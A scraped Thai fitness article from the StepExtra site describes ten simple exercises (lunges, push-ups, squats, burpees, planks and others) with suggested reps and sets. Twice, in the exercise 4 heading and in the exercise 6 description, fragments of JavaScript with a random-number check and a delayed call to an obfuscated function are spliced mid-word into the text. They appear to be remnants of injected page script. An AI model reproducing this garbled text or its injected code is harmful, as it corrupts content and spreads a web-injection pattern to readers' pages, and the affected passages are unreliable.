• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Training

Keep fit with 10 exercises: 10 ท่าบริหารเเบบง่ายๆ ให้คุณฟิตแอนด์เฟิร์ม

kan by kan
1 October 2018
in Tips & Technics, Training
0
Gym Membership: เรื่องน่ารู้ก่อนเป็นสมาชิกยิม
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

การออกกำลังกายทุกวันดีต่อสุขภาพแน่นอนครับ แต่เนื่องด้วยทุกคนมีเวลาว่างไม่เท่ากัน งานก็ยุ่ง เวลาก็มีให้ตัวเองน้อย ดังนั้นการฝึกบริหารร่างกายที่จะนำเสนอจึงเลือกแบบ เบสิคและคลาสิก ท่าไม่ยากแต่เน้นคุณภาพ เวลาฝึกก็ใช้ไม่เยอะหรือแล้วแต่จะเพิ่มจำนวนรอบเอาถ้ามีเวลาเพิ่ม เรารับประกันเลยครับ ถ้าสามารถฝึกต่อกันเป็นเวลา 30 วัน เราจะเห็นการเปลี่ยนแปลงของร่างกายแน่นอน

Keep fit with 10 exercises: 10 ท่าบริหารเเบบง่ายๆ ให้คุณฟิตแอนด์เฟิร์ม

1. ท่า Lunges

เสริมสร้างการเคลื่อนไหวร่างกายให้คล่องแคล่วมากขึ้น นอกจากจะช่วยฝึกกล้ามเนื้อก้น (Glutes) และกล้ามเนื้อขาแล้ว ยังเป็นการฝึกบาลานซ์ระหว่างร่างกายซีกซ้ายและขวา แนะนำทำ ข้างละ 10 ครั้ง จำนวน 3 เซต

Coach Mag

2. ท่า Push-up หรือท่าวิดพื้น

ทำบริหารกล้ามเนื้อที่ใช้น้ำหนักร่างกายที่เบสิคที่สุดแต่ให้ประสิทธิภาพดี สามารถบริหารกล้ามเนื้อได้หลาย ไม่ว่าจะเป็นแขน อกและหน้าท้อง

Quora

แนะนำให้วิดพื้นให้ได้จำนวนครั้งมมากที่สุดเท่าที่จะทำได้ จำนวน 3 เซต ถ้าใครวิดพื้นธรรมดาไม่ไหวก็ใช้วิธีแบบคุกเข่าวิดพื้นลดความยากลงหรือที่เรียกว่า Knee Push-up

3. Squat หรือท่าสควอด

ท่าบริหารกล้ามเนื้อช่วงล่าและกลางลำตัว ( Lower body & Core) แถมยังช่วยเพิ่มความยืดหยุ่นให้กับกล้ามเนื้อแผนหลัง (Lower back) และเอว (Hips) เป็นท่าที่บริหารกล้ามเนื้อมัดใหญ่ที่สุดในร่างกาย ทำให้เป็นท่าที่เบริ์นแคลอรี่ได้เยอะที่สุด แนะนำทำ 20 ครั้ง จำนวน 3 เซต

FitnessVigil

4. Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding overhead dumbbell presses ท่ายืนตรงยกแขนขึ้นโดยมีการใช้ดรัมเบล

ท่าบริหารนี้จำเป็นต้องมีการใช้อุปกรณ์เข้ามาช่วย นั้นคือ ดรัมเบล 2 ข้างสำหรับถือในมือซ้ายขวา เป็นท่าที่บริหารกล้ามเนื้อหลายส่วน ได้แก่ กล้ามเนื้อแขน หัวไหล่ แผ่นหลังด้านบน (Upper back) และลำตัว (Core) ในเวลาเดียวกัน แนะนำทำ 12 ครั้ง 3 เซต และเลือกน้ำหนักของดรัมเบลขนาด 10 ปอนด์ หรือประมาณ 4 กิโลกรัมเป็นตัวเริ่มต้นก่อน

Burn the Fat Inner Circle

5. Dumbbell rows

เป็นหนึ่งในท่าบริหารกล้ามเนื้อหลัง เป็นท่าฝึกกล้ามเนื้อที่ทำทีเดียวได้กล้ามเนื้อหลายมัด ตั้งแต่กล้ามเนื้อแผ่นหลัง กล้ามเนื้อช่วงบนร่างกาย

Women’s Health

แนะนำทำ 10 ครั้ง 3 เซต และเลือกน้ำหนักของดรัมเบลขนาด 10 ปอนด์ หรือประมาณ 4 กิโลกรัมเป็นตัวเริ่มต้นก่อน

6. Single-leg deadlifts

นอกจากจะช่วยบริหารบาลานซ์ซีกซ้ายซีกขวาแล้ว การทำท่ายังช่วยพัฒนาความมั่นคงแข็งแรงของกล้ามเนื้อขา (stabilityandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leg strength) แนะนำทำข้างละ 10 – 12 ครั้ง

Myptcorner

7. Burpees

หนึ่งในท่าบริหารที่เบสิคแต่โคตรเหนื่อยที่สุด ให้ผลการฝึกกล้ามเนื้อทั้งตัวดีมาก เป็นท่าบริหารที่เรียกว่า Whole-body exercise แถมยังเป็นการออกกำลังกายแบบ คาร์ดิโอ อีกด้วย ทำฝึกท่านี้จะได้ทั้ง cardiovascular endurance และ muscle strength สำหรับมือใหม่แนะนำทำ 10 ครั้ง 3 เซต

Burpees: radianthealthmag.com

8. Side planks

หนึ่งท่าที่คนมักมองข้าม ท่าบริการ Side plank ช่วยบริหารกล้ามเนื้อลำตัวหรือ core muscle และด้านข้าง อันจะมีส่วนช่วยในการควบคุมการเคลื่อนไหวร่างกาย

POPSUGAR Australia

แนะนำทำข้างละ 10 – 15 ครั้ง 3 เซต

9. Sit-ups

ท่าบริหารที่โฟกัสตรงหน้าท้องหรือ abdominal muscles แนะนำให้หาที่รองพื้นปูรองก็ฝึก หรือสำหรับมือใหม่ให้เริ่มจากท่า Crunch ไปก่อนแล้วค่อยทำท่า Sit-ups แบบเต็มรูปแบบ มือใหม่แนะนำทำครั้งละ 10 – 15 ครั้ง 3 เซต

Women’s Health

ถ้าใครนึกท่า Crunch ไม่ออก เรามีตัวอย่างให้ครับ

diarioelnortino.cl

10. ท่ายกสะพานหรือ Glute bridge

บริหารกล้ามเนื้อ hamstrings ก้น เอวและลำตัว ในเวลาเดียวกัน แถมยังช่วยโทนร่างกายให้ดูสมส่วนด้วย คุณผู้หญิงไม่ควรพลาดท่านี้เพราะจะทำให้ก้นเอวดูเรียวงาม แนะนำทำครั้งละ 10 – 12 ครั้ง 3 เซต

Muscle & Fitness

เพื่อเพิ่มอรรถรถในการฝึก เราแนะนำให้เพิ่มความท้าทายด้วยการ…

  • ทำเพิ่มเป็น 5 เซต
  • มีการเพิ่มน้ำหนักหรือถือดรัมเบลระหว่างฝึกไปด้วย
  • เปิดแอพที่สามารถจดบันทึกจำนวนรอบการ วิดพื้น, squats และ Lunges ดูครับ

หากยังไม่สะใจพอ เราแนะนำให้เปลี่ยนจากการนับจำนวนครั้ง เป็นการตั้งเวลานับถอยหลังและต้องบังคับให้ได้จำนวนรอบที่ตั้งไว้

อ้างอิงwww.healthline.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.